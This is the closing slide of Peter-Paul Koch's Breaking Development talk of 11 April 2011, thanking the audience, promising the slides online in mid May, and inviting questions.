  • 36. Thank you I will post these slides online, but only in mid May. Questions?Peter-Paul Koch http://quirksmode.org http://twitter.com/ppk Breaking Development, 11 April 2011